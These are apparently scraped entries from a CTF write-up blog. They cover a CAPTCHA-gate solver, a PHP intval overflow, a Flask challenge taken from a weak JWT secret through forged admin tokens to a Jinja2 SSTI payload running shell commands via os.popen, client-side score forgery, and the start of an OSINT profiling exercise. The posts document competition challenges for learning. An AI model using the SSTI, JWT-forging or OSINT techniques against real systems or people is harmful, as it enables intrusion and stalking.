\u0026#34;HSNRGS\u0026#34;, \u0026#34;7a26b43dcb75da0d8122a9d7\u0026#34; : \u0026#34;7785P3\u0026#34;, \u0026#34;c8a032e00f036b2b4916e950\u0026#34; : \u0026#34;9Q5GX9\u0026#34;, \u0026#34;1809530bc3e9314ba902344b\u0026#34; : \u0026#34;23J6LS\u0026#34;, \u0026#34;146dbd4b2c08c69fdee7bcd7\u0026#34; : \u0026#34;5KXP9Q\u0026#34;, \u0026#34;ebee0e6a13d62cbe1b32b21f\u0026#34; : \u0026#34;SWDXVH\u0026#34;, \u0026#34;02b12fdfcadc0af1ee92aa7b\u0026#34; : \u0026#34;2X2DFN\u0026#34;, \u0026#34;43b0e0d636a402433c5dc586\u0026#34; : \u0026#34;76CPCD\u0026#34;, \u0026#34;715d1d17d8f2d5f07e60cfd5\u0026#34; : \u0026#34;EWFHQU\u0026#34;, \u0026#34;49c5c8d7008847205d40cf95\u0026#34; : \u0026#34;DVNDDX\u0026#34;, } session = requests.Session() all_tokens = [] # Solve all captchas and collect tokens for cid, sol in CAPTCHAS.items(): print(f\u0026#34;[+] Solve {cid} with {sol}\u0026#34;) r = session.post( f\u0026#34;{BASE}/api/solve\u0026#34;, json={\u0026#34;captchaId\u0026#34;: cid, \u0026#34;solution\u0026#34;: sol}, ) if \u0026#34;set-cookie\u0026#34; in r.headers and r.status_code == 200: sc = r.headers[\u0026#34;set-cookie\u0026#34;] if sc.lower().startswith(\u0026#34;solvedcaptchas=\u0026#34;): cookie_val = sc.split(\u0026#34;;\u0026#34;,1)[0].split(\u0026#34;=\u0026#34;,1)[1] decoded = urllib.parse.unquote(cookie_val) try: arr = json.loads(decoded) all_tokens = arr except Exception as e: print(\u0026#34;Cookie parse error:\u0026#34;, e) print(\u0026#34;\\n[+] Tokens collected :\u0026#34;, all_tokens) csv_tokens = \u0026#34;solvedCaptchas=\u0026#34; + \u0026#34;,\u0026#34;.join(all_tokens) print(\u0026#34;[+] Header solvedCaptchas :\u0026#34;, csv_tokens) # Access protected page session.headers.update({\u0026#39;Cookie\u0026#39; : csv_tokens}) r = session.get(f\u0026#34;{BASE}/protected\u0026#34;) # Retrieve flag print(\u0026#34;\\n[+] Protected page content:\u0026#34;) print(r.text) # Output [+] Solve 6de6162a9274b129823ba174 with DCDRB2 [+] Solve 647ae4bd013aadadb9f87528 with 42GVD8 [+] Solve 269e7baedaeff2321a484d0f with UAS9G8 [+] Solve faef1cd97abdd8212820b70f with DCN6XE [+] Solve a376c6e3f0d24d33ef985786 with BTFMTS [+] Solve 710ef950f9ddee539a6c058b with HSNRGS [+] Solve 7a26b43dcb75da0d8122a9d7 with 7785P3 [+] Solve c8a032e00f036b2b4916e950 with 9Q5GX9 [+] Solve 1809530bc3e9314ba902344b with 23J6LS [+] Solve 146dbd4b2c08c69fdee7bcd7 with 5KXP9Q [+] Solve ebee0e6a13d62cbe1b32b21f with SWDXVH [+] Solve 02b12fdfcadc0af1ee92aa7b with 2X2DFN [+] Solve 43b0e0d636a402433c5dc586 with 76CPCD [+] Solve 715d1d17d8f2d5f07e60cfd5 with EWFHQU [+] Solve 49c5c8d7008847205d40cf95 with DVNDDX [+] Tokens collected : [\u0026#39;611163829b6ec365d4ecb1861f138805\u0026#39;, \u0026#39;5aa39ff94d2bf9c6def79e60f6e29cd1\u0026#39;, \u0026#39;a586b16a935b366d8a0499d692947e0a\u0026#39;, \u0026#39;b5238c6b61c1ae6d7afb9c0e5161ccb6\u0026#39;, \u0026#39;e0634c217e2c71591cc70ec3dfcfbcc6\u0026#39;, \u0026#39;6b5542e2e4a9fbfcf7022e2d291ee161\u0026#39;, \u0026#39;2518821767aa4fb35934bf8532256c48\u0026#39;, \u0026#39;b96262ae8713282c5005d60134a1ac5d\u0026#39;, \u0026#39;004d683892b95bcbf2f8dbbef13c5b75\u0026#39;, \u0026#39;e91b33f4977148364ff83a48cda7a9d1\u0026#39;, \u0026#39;6611d6657adea4ac9cfab1af038620eb\u0026#39;, \u0026#39;f398fffc2ee2555e8ae6af2655e0b4f1\u0026#39;] [+] Header solvedCaptchas : solvedCaptchas=611163829b6ec365d4ecb1861f138805,5aa39ff94d2bf9c6def79e60f6e29cd1,a586b16a935b366d8a0499d692947e0a,b5238c6b61c1ae6d7afb9c0e5161ccb6,e0634c217e2c71591cc70ec3dfcfbcc6,6b5542e2e4a9fbfcf7022e2d291ee161,2518821767aa4fb35934bf8532256c48,b96262ae8713282c5005d60134a1ac5d,004d683892b95bcbf2f8dbbef13c5b75,e91b33f4977148364ff83a48cda7a9d1,6611d6657adea4ac9cfab1af038620eb,f398fffc2ee2555e8ae6af2655e0b4f1 \u0026lt;style\u0026gt; * { color: #789922; } \u0026lt;/style\u0026gt; \u0026lt;pre\u0026gt; \u0026gt; be me \u0026gt; 19 year old NEET \u0026gt; decide to try this CTF challenge \u0026gt; sounds ez enough, just solve some captchas kek \u0026gt; click start \u0026gt; 10 captchas in 10 seconds \u0026gt; wut.jpg \u0026gt; first captcha looks like abstract art made by a toddler \u0026gt; squint at screen like I\\\u0026#39;m trying to decipher hieroglyphs \u0026gt; type \\\u0026#34;Q8XN2M\\\u0026#34; \u0026gt; wrong \u0026gt; try \\\u0026#34;08XN2M\\\u0026#34; \u0026gt; still wrong \u0026gt; hyperfocus mode activated \u0026gt; 9 captchas left, already 5 seconds gone \u0026gt; frantically mashing refresh button \u0026gt; sweating tendies \u0026gt; timer hits zero \u0026gt; youreoutoftime.exe \u0026gt; stare at screen having a mental breakdown \u0026gt; try again \u0026gt; same result \u0026gt; and again \u0026gt; starting to question if I\\\u0026#39;m actually human \u0026gt; maybe I should just go back to /g/ and seethe about programming languages \u0026gt; other anons probably solving this ez pz \u0026gt; meanwhile I\u0026#39;m here getting absolutely rekt by squiggly lines \u0026gt; mfw i realize i could have gone outside and touched grass instead of this \u0026gt; mfw i realize a 6 year old could probably solve this faster than me \u0026gt; mfw the flag is literally snakeCTF{4n0n_byp4553d_th3_f1lt3r_4543ad7fe7e2f82a} \u0026gt; mfw there is a song for this challenge \u0026gt; bleeding_ears.mp3 \u0026lt;/pre\u0026gt; \u0026lt;iframe width=\u0026#34;560\u0026#34; height=\u0026#34;315\u0026#34; src=\u0026#34;https://www.youtube.com/embed/Af8knRyzQpI?si=M9FPVFUX_feGo85-\u0026#34; title=\u0026#34;YouTube video player\u0026#34; frameborder=\u0026#34;0\u0026#34; allow=\u0026#34;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\u0026#34; referrerpolicy=\u0026#34;strict-origin-when-cross-origin\u0026#34; allowfullscreen \u0026gt;\u0026lt;/iframe\u0026gt; ","date":"2025-08-29T00:00:00Z","image":"/images/snakectf2025/web/blocked_captcha.png","permalink":"/posts/ctf/snakectf-2025/blocked/","title":"Racing a custom CAPTCHA gate with concurrent requests - snakeCTF 2025"},{"content":"Introduction Context Explanation Numberizer gives you a form with five number fields and only prints the flag if the sum comes out negative. The validation blocks the obvious move, submitting a negative number, so we need a sum that goes negative without any single input being negative.\nSolution Analyzing the Code and Validation Mechanisms The PHP source runs each input through a few checks:\n\u0026lt;?php ini_set(\u0026#34;error_reporting\u0026#34;, 0); if(isset($_GET[\u0026#39;source\u0026#39;])) { highlight_file(__FILE__); } include \u0026#34;flag.php\u0026#34;; $MAX_NUMS = 5; if(isset($_POST[\u0026#39;numbers\u0026#39;]) \u0026amp;\u0026amp; is_array($_POST[\u0026#39;numbers\u0026#39;])) { $numbers = array(); $sum = 0; for($i = 0; $i \u0026lt; $MAX_NUMS; $i++) { if(!isset($_POST[\u0026#39;numbers\u0026#39;][$i]) || strlen($_POST[\u0026#39;numbers\u0026#39;][$i])\u0026gt;4 || !is_numeric($_POST[\u0026#39;numbers\u0026#39;][$i])) { continue; } $the_number = intval($_POST[\u0026#39;numbers\u0026#39;][$i]); if($the_number \u0026lt; 0) { continue; } $numbers[] = $the_number; } $sum = intval(array_sum($numbers)); if($sum \u0026lt; 0) { echo \u0026#34;You win a flag: $FLAG\u0026#34;; } else { echo \u0026#34;You win nothing with number $sum ! :-(\u0026#34;; } } ?\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Numberizer\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Numberizer\u0026lt;/h1\u0026gt; \u0026lt;form action=\u0026#34;/\u0026#34; method=\u0026#34;post\u0026#34;\u0026gt; \u0026lt;label for=\u0026#34;numbers\u0026#34;\u0026gt;Give me at most 10 numbers to sum!\u0026lt;/label\u0026gt;\u0026lt;br\u0026gt; \u0026lt;?php for($i = 0; $i \u0026lt; $MAX_NUMS; $i++) { echo \u0026#39;\u0026lt;input type=\u0026#34;text\u0026#34; name=\u0026#34;numbers[]\u0026#34;\u0026gt;\u0026lt;br\u0026gt;\u0026#39;; } ?\u0026gt; \u0026lt;button type=\u0026#34;submit\u0026#34;\u0026gt;Submit\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;p\u0026gt;To view the source code, \u0026lt;a href=\u0026#34;/?source\u0026#34;\u0026gt;click here.\u0026lt;/a\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; So each of the first five inputs has to:\nbe present (isset), be at most 4 characters (strlen), pass is_numeric(), and not be negative (if ($the_number \u0026lt; 0) continue;). What survives gets summed with array_sum(), cast through intval(), and the flag drops if that total is below zero:\nif ($sum \u0026lt; 0) { echo \u0026#34;You win a flag: $FLAG\u0026#34;; } Observations and Vulnerability Analysis Everything looks airtight until you consider scientific notation and how intval() treats it.\nintval() handles normal numeric strings ('42', '+42') exactly as you\u0026rsquo;d expect. But a value in scientific notation like 9e99 is parsed as a float first, and when that float blows past the signed 64-bit max (9223372036854775807), the conversion overflows and clamps or wraps around. Crucially, 9e99 fits in 4 characters and passes is_numeric().\nFor example:\n\u0026lt;?php echo intval(\u0026#39;9e99\u0026#39;); // Outputs: 9223372036854775807 on most 64-bit systems echo intval(9e99 + 1); // Outputs: -9223372036854775808 due to integer overflow 9e99 alone lands on the max signed integer, and nudging it by 1 tips it over into -9223372036854775808. That wrap is the whole exploit.\nExploitation Crafting the Payload The payload is just:\n9e99, 1, 0, 0, 0 9e99 clears every check (numeric, 4 chars, not negative) and intval() turns it into 9223372036854775807. Add the 1 and the sum overflows to -9223372036854775808; the three zeros are padding. The result:\nintval(9e99) = 9223372036854775807 intval(9e99 + 1) = -9223372036854775808 Array Sum: (-9223372036854775808) + 0 + 0 + 0 = -9223372036854775808 The sum is negative, the check passes, and the flag appears.\nAccessing the Flag Submitting 9e99, 1, 0, 0, 0 gives:\nYou win a flag: ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!} Technical Insights Short string, huge value. 9e99 is only 4 characters but represents an astronomically large number, so length and is_numeric checks miss it entirely. intval() on overflow. It saturates at 9223372036854775807, and one more wraps to -9223372036854775808 under two\u0026rsquo;s-complement. That\u0026rsquo;s the negative sum we needed. Validate the value, not the format. Length and numeric checks say nothing about magnitude; an explicit range check would have closed this. ","date":"2025-02-03T00:00:00Z","image":"/images/nullcon/web/numberizer_home.png","permalink":"/posts/ctf/nullcon-goa-hackim-ctf-2025/numberizer/","title":"PHP integer overflow to force a negative sum - Nullcon Goa 2025"},{"content":"Introduction One of your friends had an argument with a Flask developer. He tried to handle it on his own, but he ended up hitting a roadblock\u0026hellip; Can you put your hacking skills to use and help him out?\nYou should probably be able to access the server hosting your target\u0026rsquo;s latest project, right? I heard they make a lot of programming mistakes\u0026hellip;\nSolution Launching the challenge drops us on an error page:\ncurl \u0026#39;http://dyn-06.heroctf.fr:13825/\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET / HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:02:58 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 70 \u0026lt; Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww; Path=/ \u0026lt; Connection: close \u0026lt; * Closing connection 0 \u0026lt;h2\u0026gt;Invalid operation\u0026lt;/h2\u0026gt;\u0026lt;br\u0026gt;\u0026lt;p\u0026gt;Example: /?op=substract\u0026amp;n1=5\u0026amp;n2=2\u0026lt;/p\u0026gt; A few things stand out:\nthe server runs Werkzeug 2.3.4 and Python 3.10.6 it sets a token cookie: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww the body hints at operations via op, n1, and n2 First Lead: Werkzeug First thing to check: is the Werkzeug debug console on? If it is, /console is reachable and we may get Python execution for free.\ncurl \u0026#39;http://dyn-06.heroctf.fr:13825/console\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /console HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 404 NOT FOUND \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:06:20 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 84 \u0026lt; Connection: close \u0026lt; * Closing connection 0 \u0026lt;h2\u0026gt;/console was not found\u0026lt;/h2\u0026gt;\u0026lt;br\u0026gt;\u0026lt;p\u0026gt;Only routes / and /adminPage are available\u0026lt;/p\u0026gt; No console, but the 404 helpfully leaks that /adminPage exists:\ncurl \u0026#39;http://dyn-06.heroctf.fr:13825/adminPage\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /adminPage HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 403 FORBIDDEN \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:06:49 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 22 \u0026lt; Connection: close \u0026lt; * Closing connection 0 \u0026lt;h2\u0026gt;Invalid token\u0026lt;/h2\u0026gt; The endpoint responds, but with 403 FORBIDDEN and Invalid token, so our token cookie isn\u0026rsquo;t good enough.\nSecond Lead: Session Token Time to look at that token cookie. Three base64 parts separated by . points straight at a JWT.\njwt.io decodes it:\nThe content of the JWT is:\n{ \u0026#34;role\u0026#34;: \u0026#34;guest\u0026#34; } The JWT header is:\n{ \u0026#34;typ\u0026#34;: \u0026#34;JWT\u0026#34;, \u0026#34;alg\u0026#34;: \u0026#34;HS256\u0026#34; } I started with the usual JWT tricks, alg: none and friends, but none landed.\nThe other classic is a weak signing key, so I threw jwt-cracker (npm install --global jwt-cracker) at it:\nC:\\\u0026gt;jwt-cracker -t eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiZ3Vlc3QifQ.AdxhLneoWOkeXGQFwWUbDzS3J2W6_Re-NbZLP_SRUww SECRET FOUND: key Time taken (sec): 0.888 Attempts: 100000 The signing key is literally key.\nWith the secret in hand, we can forge a JWT with role: admin and set it as the token cookie.\ncurl \u0026#39;http://dyn-06.heroctf.fr:13825/adminPage\u0026#39; -H \u0026#39;Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /adminPage HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiYWRtaW4ifQ.AVjKNp3JWkmYQdHzpEVpAU9pfGSiwJykT3lbWpQYhMY \u0026gt; \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:17:30 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 15 \u0026lt; Connection: close \u0026lt; * Closing connection 0 Welcome admin ! We\u0026rsquo;re admin now. But still no flag.\nThird Lead: Injection / RCE With little else to go on and the console disabled, an injection somewhere feels likely.\nThe only place user input gets reflected back is /adminPage: Welcome admin! on a valid token, Invalid token otherwise. Maybe the check is as crude as:\nif role === \u0026#34;key\u0026#34;: return \u0026#34;Invalid token\u0026#34; else: return \u0026#34;Welcome \u0026#34; + role + \u0026#34;!\u0026#34; If the role gets dropped into a template, SSTI is on the table. Quick test payload:\n{ \u0026#34;role\u0026#34;: \u0026#34;{{config}}\u0026#34; } curl \u0026#39;http://dyn-06.heroctf.fr:13825/adminPage\u0026#39; -H \u0026#39;Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /adminPage HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3tjb25maWd9fSJ9.Jwj89LzEaeWS3JpNQd62PMq9piL4RspA1ixc3Rpgkv8 \u0026gt; \u0026lt; HTTP/1.1 403 FORBIDDEN \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:23:37 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 1145 \u0026lt; Connection: close \u0026lt; Sorry but you can\u0026#39;t access this page, you\u0026#39;re a \u0026#39;\u0026amp;lt;Config {\u0026amp;#39;ENV\u0026amp;#39;: \u0026amp;#39;production\u0026amp;#39;, \u0026amp;#39;DEBUG\u0026amp;#39;: False, \u0026amp;#39;TESTING\u0026amp;#39;: False, \u0026amp;#39;PROPAGATE_EXCEPTIONS\u0026amp;#39;: None, \u0026amp;#39;SECRET_KEY\u0026amp;#39;: None, \u0026amp;#39;PERMANENT_SESSION_LIFETIME\u0026amp;#39;: datetime.timedelta(days=31), \u0026amp;#39;USE_X_SENDFILE\u0026amp;#39;: False, \u0026amp;#39;SERVER_NAME\u0026amp;#39;: None, \u0026amp;#39;APPLICATION_ROOT\u0026amp;#39;: \u0026amp;#39;/\u0026amp;#39;, \u0026amp;#39;SESSION_COOKIE_NAME\u0026amp;#39;: \u0026amp;#39;session\u0026amp;#39;, \u0026amp;#39;SESSION_COOKIE_DOMAIN\u0026amp;#39;: None, \u0026amp;#39;SESSION_COOKIE_PATH\u0026amp;#39;: None, \u0026amp;#39;SESSION_COOKIE_HTTPONLY\u0026amp;#39;: True, \u0026amp;#39;SESSION_COOKIE_SECURE\u0026amp;#39;: False, \u0026amp;#39;SESSION_COOKIE_SAMESITE\u0026amp;#39;: None, \u0026amp;#39;SESSION_REFRESH_EACH_REQUEST\u0026amp;#39;: True, \u0026amp;#39;MAX_CONTENT_LENGTH\u0026amp;#39;: None, \u0026amp;#39;SEND_FILE_MAX_AGE_DEFAULT\u0026amp;#39;: None, \u0026amp;#39;TRAP_BAD_REQUEST_ERRORS\u0026amp;#39;: None, \u0026amp;#39;TRAP_HTTP_EXCEPTIONS\u0026amp;#39;: False, \u0026amp;#39;EXPLAIN_TEMPLATE_LOADING\u0026amp;#39;: False, \u0026amp;#39;PREFERRED_URL_SCHEME\u0026amp;#39;: \u0026amp;#39;http\u0026amp;#39;, \u0026amp;#39;JSON_AS_ASCII\u0026amp;#39;: None, \u0026amp;#39;JSON_SORT_KEYS\u0026amp;#39;: None, \u0026amp;#39;JSONIFY_PRETTYPRINT_REGULAR\u0026amp;#* Closing connection 0 39;: None, \u0026amp;#39;JSONIFY_MIMETYPE\u0026amp;#39;: None, \u0026amp;#39;TEMPLATES_AUTO_RELOAD\u0026amp;#39;: None, \u0026amp;#39;MAX_COOKIE_SIZE\u0026amp;#39;: 4093}\u0026amp;gt;\u0026#39; {{config}} renders the Flask config object, so the injection works and we have SSTI. Now to turn it into RCE and grab the flag.\nRetrieving the Flag From the Jinja2 section of HackTricks\u0026rsquo; SSTI page, here\u0026rsquo;s an RCE payload that doesn\u0026rsquo;t depend on the __builtins__ layout:\n{ \u0026#34;role\u0026#34;: \u0026#34;{{ cycler.__init__.__globals__.os.popen(\u0026#39;ls\u0026#39;).read() }}\u0026#34; } curl \u0026#39;http://dyn-06.heroctf.fr:13825/adminPage\u0026#39; -H \u0026#39;Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /adminPage HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdscycpLnJlYWQoKSB9fSJ9.W716rVf0D1fAibR2HP0_7cGFxYhz0EL8hFKe1i58JQs \u0026gt; \u0026lt; HTTP/1.1 403 FORBIDDEN \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:27:41 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 65 \u0026lt; Connection: close \u0026lt; Sorry but you can\u0026#39;t access this page, you\u0026#39;re a \u0026#39;app.py flag.txt * Closing connection 0 \u0026#39; Two files in the working directory, app.py and flag.txt. So cat the flag:\n{ \u0026#34;role\u0026#34;: \u0026#34;{{ cycler.__init__.__globals__.os.popen(\u0026#39;cat flag.txt\u0026#39;).read() }}\u0026#34; } curl \u0026#39;http://dyn-06.heroctf.fr:13825/adminPage\u0026#39; -H \u0026#39;Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8\u0026#39; -v * Trying 139.162.183.244:13825... * Connected to dyn-06.heroctf.fr (139.162.183.244) port 13825 (#0) \u0026gt; GET /adminPage HTTP/1.1 \u0026gt; Host: dyn-06.heroctf.fr:13825 \u0026gt; User-Agent: curl/7.88.1 \u0026gt; Accept: */* \u0026gt; Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoie3sgY3ljbGVyLl9faW5pdF9fLl9fZ2xvYmFsc19fLm9zLnBvcGVuKCdjYXQgZmxhZy50eHQnKS5yZWFkKCkgfX0ifQ.JCGzVe2xKCMFHGGKFqCbqTDkBTfZto-0nGIY_T5IuV8 \u0026gt; \u0026lt; HTTP/1.1 403 FORBIDDEN \u0026lt; Server: Werkzeug/2.3.4 Python/3.10.6 \u0026lt; Date: Sun, 14 May 2023 01:29:04 GMT \u0026lt; Content-Type: text/html; charset=utf-8 \u0026lt; Content-Length: 77 \u0026lt; Connection: close \u0026lt; Sorry but you can\u0026#39;t access this page, you\u0026#39;re a \u0026#39;Hero{sst1_fl4v0ur3d_c0Ok1e} * Closing connection 0 \u0026#39; Flag: Hero{sst1_fl4v0ur3d_c0Ok1e}\nTips \u0026amp; Tricks Always check error pages, as they sometimes share valuable information. In a Python application, always try SSTI (Server-Side Template Injection) on fields returned by the server. Always check the HTTP response headers. In a Flask application, session tokens can be cracked, and they are not always Flask tokens (like in this case, a JWT). Running jwt-cracker on a JWT token can be very useful at the beginning of a CTF (Capture The Flag) if there is a weak secret. Try template injections in JWTs, as sometimes they can lead to SSTI (Server-Side Template Injection). ","date":"2024-05-15T00:00:00Z","image":"/images/heroctfv5/web/flask_home.png","permalink":"/posts/ctf/heroctf-v5-2023/drink-from-my-flask-1/","title":"Cracking a weak JWT secret into Jinja2 SSTI RCE - HeroCTF v5"},{"content":"Introduction This challenge is a WEB challenge from the PWNME 2023 CTF.\nContext explanation A pro player challenges you in a new game. They have spent a lot of time on it and achieved an extremely high score.\nDirective Your goal is to beat them by any means necessary.\nSolution It\u0026rsquo;s a game: pilot a ship, dodge shots, shoot enemies.\nThe score to beat belongs to Eteck, the challenge author, at 1337420. We\u0026rsquo;re obviously not grinding that out legitimately, so let\u0026rsquo;s find a flaw instead.\nAt the end of a run, two requests fire:\nPOST /scores: to send the score obtained at the end of the game. GET /scores: to retrieve the scoreboard. The score POST looks like:\n{ \u0026#34;name\u0026#34;: \u0026#34;HitCat\u0026#34;, \u0026#34;score\u0026#34;: 12, \u0026#34;signature\u0026#34;: -1166920824 } Replaying it with a bumped score fails on the signature:\nSo the score is signed client-side. The home page is unremarkable apart from a few script imports, including /js/main.0acc8a51228c77e4a908.bundle.js, which is obfuscated.\nRather than deobfuscate it, I set a breakpoint and let the browser do the work. Searching signature leads to this function:\nThe signature is _0x3f306f(_0x5a84cd), presumably a hash function over the score. Stepping through confirms it:\nTop-left, my score is 12; on the right, _0x5a84cd is also 12. So that variable is the score, and it\u0026rsquo;s signed right here before being sent.\nPaused on the breakpoint, I just overwrite _0x5a84cd with a huge value:\nThe signature is then computed over the forged score, so it\u0026rsquo;s valid, and resuming posts it and prints the flag:\nFlag: PWNME{ChE4t_oN_cLI3N7_G4m3_Is_Not_3aS1}\nTips \u0026amp; Tricks Debug the JavaScript code to see how data is processed. Use the debugger to modify values. Don\u0026rsquo;t overlook obfuscated or minified JavaScript files; often, they contain valuable information. ","date":"2023-05-07T00:00:00Z","image":"/images/pwnme2023/web/beat_me_game.png","permalink":"/posts/ctf/pwnme-2023/web/beat-me/","title":"Forging a client-side score to beat an unbeatable game - PwnMe 2023"},{"content":"Introduction This challenge is an OSINT challenge from the PWNME CTF.\nBackground explanation To understand the context of the challenge, look at the description of the introductory challenge.\nDirective John is French-English but lives in France, and his life is almost entirely available on the internet.\nFind the city where he lives, the username of his current girlfriend, and the maiden name of his ex.\nOSINT must remain passive, and any interaction is strongly prohibited.\nThere is no need to contact anyone to solve the challenge.\nFlag format PWNME{lille_elonmusk_halliday} All in lowercase with \u0026ldquo;_\u0026rdquo; to separate the information.\nSolution The city came first.\nCity John has two relevant Instagram posts: one about a 10-euro bill he spent in Austria, and one about a post-vacation barbecue at his place. The barbecue post is a carousel of six photos, and one of them is useful:\nIt shows a receipt, but Instagram crops the top off. Refreshing the page to load the image at full size outside the carousel pop-up gives the whole thing:\nThe receipt names the city Lannemezan. Since the post is about a barbecue at his place, the meat was almost certainly from a local butcher, so that\u0026rsquo;s where he lives.\nMaiden name of his ex Still on Instagram, @dropkingjohn posted several highlighted stories, one of which invites support for the Tarbes women\u0026rsquo;s basketball club, the TGB.\nOn the side of the poster, we see the address where the match will take place, Quai de l\u0026rsquo;Adour in Tarbes.\nA later story invites friends for a beer at \u0026ldquo;the best bar\u0026rdquo; after the match.\nOn Facebook, he\u0026rsquo;d posted about his favorite bar:\nTwo details line up oddly: in the Instagram story he says he\u0026rsquo;ll have to show up in disguise so he isn\u0026rsquo;t recognized, and the Facebook post says his ex owns the bar. So his ex owns the bar he\u0026rsquo;s heading to after the match.\nThat same story also carries a long encoded message:\n3 444 777 33 222 8 444 666 66 0 66 666 777 3 0 555 33 0 555 666 66 4 0 3 33 0 555 2 0 777 444 888 444 33 777 33 0 7 777 33 6 444 33 777 0 22 2 777 The groups of repeated digits look like old phone-keypad (T9-style multi-tap) encoding, where 2=a, 22=b, and so on. A quick Python script decodes it:\ntelephone = { \u0026#34;2\u0026#34;: \u0026#34;a\u0026#34;, \u0026#34;22\u0026#34;: \u0026#34;b\u0026#34;, \u0026#34;222\u0026#34;: \u0026#34;c\u0026#34;, \u0026#34;3\u0026#34;: \u0026#34;d\u0026#34;, \u0026#34;33\u0026#34;: \u0026#34;e\u0026#34;, \u0026#34;333\u0026#34;: \u0026#34;f\u0026#34;, \u0026#34;4\u0026#34;: \u0026#34;g\u0026#34;, \u0026#34;44\u0026#34;: \u0026#34;h\u0026#34;, \u0026#34;444\u0026#34;: \u0026#34;i\u0026#34;, 